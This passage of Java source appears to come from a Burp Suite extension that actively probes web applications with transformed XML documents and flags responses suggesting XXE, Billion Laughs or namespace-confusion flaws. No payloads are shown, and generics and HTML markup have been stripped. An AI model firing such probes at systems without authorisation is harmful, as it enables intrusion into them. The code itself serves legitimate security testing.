originalAttributes); 152 | if (unique.isEmpty()) { 153 | // Skip target as unpredictable 154 | return null; 155 | }; 156 | 157 | originalAttributes = Utilities.buildMontoyaResp(new Resp(basePair)).response().attributes(unique.toArray(new AttributeType[]{})); 158 | 159 | while (!checksCopy.isEmpty()) { 160 | Map.Entry entry = checksCopy.entrySet().iterator().next(); 161 | checksCopy.remove(entry.getKey()); 162 | String name = entry.getKey(); 163 | Check check = entry.getValue().getTransformation(); 164 | List links = entry.getValue().getLinks(); 165 | String probe; 166 | try { 167 | Document copy = DocumentBuilderFactory.newInstance() 168 | .newDocumentBuilder() 169 | .newDocument(); 170 | copy.appendChild(copy.importNode(document.get().getDocumentElement(), true)); 171 | Pair result = check.apply(copy); 172 | probe = result.getKey(); 173 | } catch (IllegalArgumentException | ParserConfigurationException e) { 174 | continue; 175 | } 176 | Utilities.log("Trying " + probe); 177 | for (int attempt = 0; attempt < this.confirmCount; attempt++) { 178 | IHttpRequestResponse attack = OldUtilities.request2(basePair, insertionPoint, probe); 179 | 180 | List attackAttributes = Utilities.buildMontoyaResp(new Resp(attack)).response().attributes(unique.toArray(new AttributeType[]{})); 181 | if (!areAttributesIdentical(attackAttributes, originalAttributes)) continue; 182 | if (attempt == this.confirmCount - 1) { 183 | issues.add(new CustomScanIssue( 184 | attack.getHttpService(), 185 | helpers.analyzeRequest(attack).getUrl(), 186 | new IHttpRequestResponse[]{attack}, 187 | "Suspicious XML transformation: " + name, 188 | "The application seems to support unsafe XML documents in a manner that indicates potential vulnerability (e.g. XXE, Billion Laughs, Round-trip, Namespace Confusion)

" 189 | + "Manual investigation is advised." 190 | + (links.isEmpty() ? "" : "
More details: " + String.join(", ", links)), 191 | "Tentative", CustomScanIssue.severity.Information)); 192 | } 193 | } 194 | } 195 | 196 | return issues; 197 | } 198 | 199 | private String transformDocument(Document document) { 200 | try { 201 | TransformerFactory transformerFactory = TransformerFactory.newInstance(); 202 | Transformer transformer = transformerFactory.newTransformer(); 203 | transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes"); 204 | StringWriter writer = new StringWriter(); 205 | transformer.transform(new DOMSource(document), new StreamResult(writer)); 206 | return writer.toString(); 207 | } catch (Exception e) { 208 | throw new IllegalArgumentException(e); 209 | } 210 | } 211 | 212 | public String compressIfNeeded(String data) { 213 | byte[] resultingData = data.getBytes(StandardCharsets.UTF_8); 214 | 215 | if (isCompressed) { 216 | byte[] compressedData = compress(resultingData); 217 | if (compressedData != null) resultingData = compressedData; 218 | } 219 | 220 | return isBase64Encoded 221 | ? Base64.getEncoder().encodeToString(resultingData) 222 | : new String(resultingData, StandardCharsets.ISO_8859_1); 223 | 224 | } 225 | 226 | private byte[] compress(byte[] input) { 227 | Deflater deflater = new Deflater(5, true); 228 | try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream(input.length)) { 229 | deflater.setInput(input); 230 | deflater.finish(); 231 | byte[] buffer = new byte[1024]; 232 | int maxLoops = 10000; 233 | int loops = 0; 234 | 235 | while (!deflater.finished()) { 236 | int count = deflater.deflate(buffer); 237 | if (count == 0) { 238 | if (loops++ >= maxLoops) { 239 | throw new RuntimeException("Deflater made no progress — possible logic error or invalid input."); 240 | } 241 | } else { 242 | loops = 0; // reset loop count on progress 243 | outputStream.write(buffer, 0, count); 244 | } 245 | } 246 | 247 | return outputStream.toByteArray(); 248 | } catch (IOException e) { 249 | throw new IllegalArgumentException("Compression failed", e); 250 | } finally { 251 | deflater.end(); 252 | } 253 | } 254 | 255 | public byte[] decompress(byte[] data) throws DataFormatException { 256 | Inflater inflater = new Inflater(true); 257 | try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream(data.length)) { 258 | inflater.setInput(data); 259 | byte[] buffer = new byte[1024]; 260 | int maxLoops = 10000; // prevent infinite loop 261 | int loops = 0; 262 | 263 | while (!inflater.finished() && loops < maxLoops) { 264 | int count = inflater.inflate(buffer); 265 | if (count == 0 && inflater.needsInput()) { 266 | break; 267 | } 268 | outputStream.write(buffer, 0, count); 269 | loops++; 270 | } 271 | 272 | if (loops >= maxLoops) { 273 | throw new DataFormatException("Decompression exceeded safe iteration limit."); 274 | } 275 | 276 | return outputStream.toByteArray(); 277 | } catch (IOException e) { 278 | throw new IllegalArgumentException(e); 279 | } finally { 280 | inflater.end(); 281 | } 282 | } 283 | 284 | private Optional tryURLDecode(String input) { 285 | try { 286 | String urlDecoded = URLDecoder.decode(input, StandardCharsets.UTF_8); 287 | return Optional.of(urlDecoded); 288 | } catch (Exception e) { 289 | return Optional.empty(); 290 | } 291 | } 292 | 293 | private Optional tryBase64Decode(String input) { 294 | try { 295 | byte[] base64Decoded = Base64.getDecoder().decode(input); 296 | this.isBase64Encoded = true; 297 | return Optional.of(base64Decoded); 298 | } catch (Exception e) { 299 | return Optional.empty(); 300 | } 301 | } 302 | 303 | private Optional tryDecompress(byte[] input) { 304 | try { 305 | byte[] decompressed = decompress(input); 306 | this.isCompressed = true; 307 | return Optional.of(new String(decompressed, StandardCharsets.UTF_8)); 308 | } catch (Exception e) { 309 | return Optional.empty(); 310 | } 311 | } 312 | 313 | private Optional parseXML(String xmlString) { 314 | try { 315 | if (!xmlString.startsWith("<")) throw new IllegalArgumentException(); 316 | DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); 317 | factory.setFeature("http://xml.org/sax/features/external-general-entities", false); 318 | factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 319 | factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); 320 | factory.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true); 321 | factory.setNamespaceAware(true); 322 | 323 | DocumentBuilder builder = factory.newDocumentBuilder(); 324 | try (ByteArrayInputStream inputStream = new ByteArrayInputStream(xmlString.getBytes(StandardCharsets.UTF_8))) { 325 | Document document = builder.parse(inputStream); 326 | return Optional.of(document); 327 | } 328 | } catch (Exception e) { 329 | return Optional.empty(); 330 | } 331 | } 332 | 333 | public Optional extractOptionalXMLDocument(String input) { 334 | String processedData = tryURLDecode(input).orElse(input); 335 | Optional optionalBytes = tryBase64Decode(processedData); 336 | if (optionalBytes.isPresent()) { 337 | processedData = tryDecompress(optionalBytes.get()) 338 | .orElse(new String(optionalBytes.get(), StandardCharsets.UTF_8)); 339 | } 340 | return parseXML(processedData); 341 | } 342 | 343 | 344 | @FunctionalInterface 345 | private interface Check { 346 | Pair apply(Document base); 347 | } 348 | 349 | private static class CheckDetails { 350 | private final Check transformation; 351 | private final List links; 352 | 353 | public CheckDetails(Check transformation, List usefulLinks) { 354 | this.transformation = transformation; 355 | this.links = usefulLinks; 356 | } 357 | 358 | public Check getTransformation() { 359 | return transformation; 360 | } 361 | 362 | public List getLinks() { 363 | return links.stream() 364 | .map(link -> String.format("%s", link, link)).toList(); 365 | } 366 | } 367 | 368 | } 369 | --------------------------------------------------------------------------------